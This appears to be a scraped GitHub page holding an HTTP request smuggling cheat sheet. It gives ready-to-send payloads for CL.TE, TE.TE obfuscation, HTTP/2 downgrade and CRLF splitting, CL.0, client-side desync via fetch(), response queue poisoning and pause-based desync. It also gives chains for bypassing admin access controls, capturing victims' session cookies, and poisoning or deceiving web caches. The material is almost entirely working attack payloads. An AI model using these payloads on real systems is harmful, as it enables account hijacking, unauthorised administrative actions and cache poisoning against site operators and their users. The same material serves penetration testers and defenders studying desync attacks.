You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
POST / HTTP/1.1Host: target.comContent-Length: 3Transfer-Encoding: chunked8SMUGGLED0
# Capture other users' requests by smuggling into a stored parameterPOST / HTTP/1.1Host: target.comContent-Length: 4Transfer-Encoding: chunkeda1POST /post/comment HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencodedContent-Length: 900Cookie: session=victim_gets_appendedcomment=0
TE.TE (Obfuscation)
# Obfuscate Transfer-Encoding to make one server ignore itTransfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding:[tab]chunked[space]Transfer-Encoding: chunkedX: x[\n]Transfer-Encoding: chunkedTransfer-Encoding: chunkedTransfer-encoding: cow
HTTP/2 Smuggling (H2)
# H2.CL - inject CL header in HTTP/2 (normally prohibited, some servers allow):method POST:path /:authority target.comcontent-length: 0SMUGGLED# H2.TE - inject Transfer-Encoding in HTTP/2:method POST:path /:authority target.comtransfer-encoding: chunked0SMUGGLED# CRLF injection in HTTP/2 header (H2 header splitting):method GET:path /:authority target.comfoo: bar\r\nTransfer-Encoding: chunked# HTTP/2 request splitting via CRLF in :path:method GET:path /x HTTP/1.1\r\nHost: target.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com:authority target.com
Exploitation Chains
# Bypass front-end access controls
POST / HTTP/1.1
Host: target.com
Content-Length: 53
Transfer-Encoding: chunked
0
GET /admin/delete?user=carlos HTTP/1.1
Foo: x
# Reveal internal headers (front-end rewrites)
POST / HTTP/1.1
Host: target.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1 <-- reflected back reveals rewritten headers
# Open redirect to XSS
POST / HTTP/1.1
Host: target.com
Content-Length: 10
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
# Upgrade to on-site redirect -> delivers XSS or steals creds
# Web cache poisoning via smuggling
POST / HTTP/1.1
Host: target.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
# Next legitimate request for /static/main.js gets this response (redirect) cached
# Web cache deception via smuggling
POST / HTTP/1.1
Host: target.com
Content-Length: 42
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
Foo: x
# Next request for /static/x.js returns victim's account page, cached publicly
CL.0 / H2.0 Desync (Server Ignores Body)
# Backend ignores Content-Length entirely (treats body as next request)# No Transfer-Encoding needed - works on servers that don't expect a bodyPOST /ignored-endpoint HTTP/1.1Host: target.comContent-Length: 30GET /admin HTTP/1.1Foo: x# Server processes POST (ignores body), then parses body as new request# Common on endpoints that don't expect POST bodies# Try against: images, static files, redirects, 404 pages
Client-Side Desync (Browser-Powered)
# Trick victim's browser into desync'ing its own connection# Browser sends legitimate request, gets response, but leftover data# poisons the next request the browser makes on same connection# Requires: CL.0 or stalled response on victim's browser connection# Attack via <script>, <img>, fetch() from attacker page# Step 1: Attacker page makes browser send request with body to target# Step 2: Server ignores body (CL.0)# Step 3: Body sits in TCP buffer, interpreted as start of next request# Step 4: Browser reuses connection, next navigation gets poisoned response# Example: inject via fetch() with keepalivefetch('https://target.com/ignored', {method: 'POST',body: 'GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n',mode: 'no-cors',credentials: 'include',keepalive: true});// Immediately after:location = 'https://target.com/'// Browser's GET / uses same connection -> gets /admin response
Response Queue Poisoning
# If you can get the server to return more (or fewer) responses than expected
# Subsequent responses get shifted to wrong requests
# Send 2 requests in pipeline:
GET /normal HTTP/1.1 -> expects response A
GET /target HTTP/1.1 -> expects response B
# If you can inject an extra response via smuggling:
# Response queue becomes: [Extra, A, B]
# Client receives: Extra for request 1, A for request 2
# Response B goes to the NEXT user's request!
# Exploit:
POST / HTTP/1.1
Host: target.com
Content-Length: 48
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
# Next user visiting the site gets /admin response instead of their page
Pause-Based Desync (Server-Side)
# Send headers, pause, then send body# Some servers timeout and process headers-only request# Then body becomes start of next request# Requires: connection reuse + server timeout < client timeout# Send: complete headers with CL# Wait: 60+ seconds# Send: body (interpreted as new request)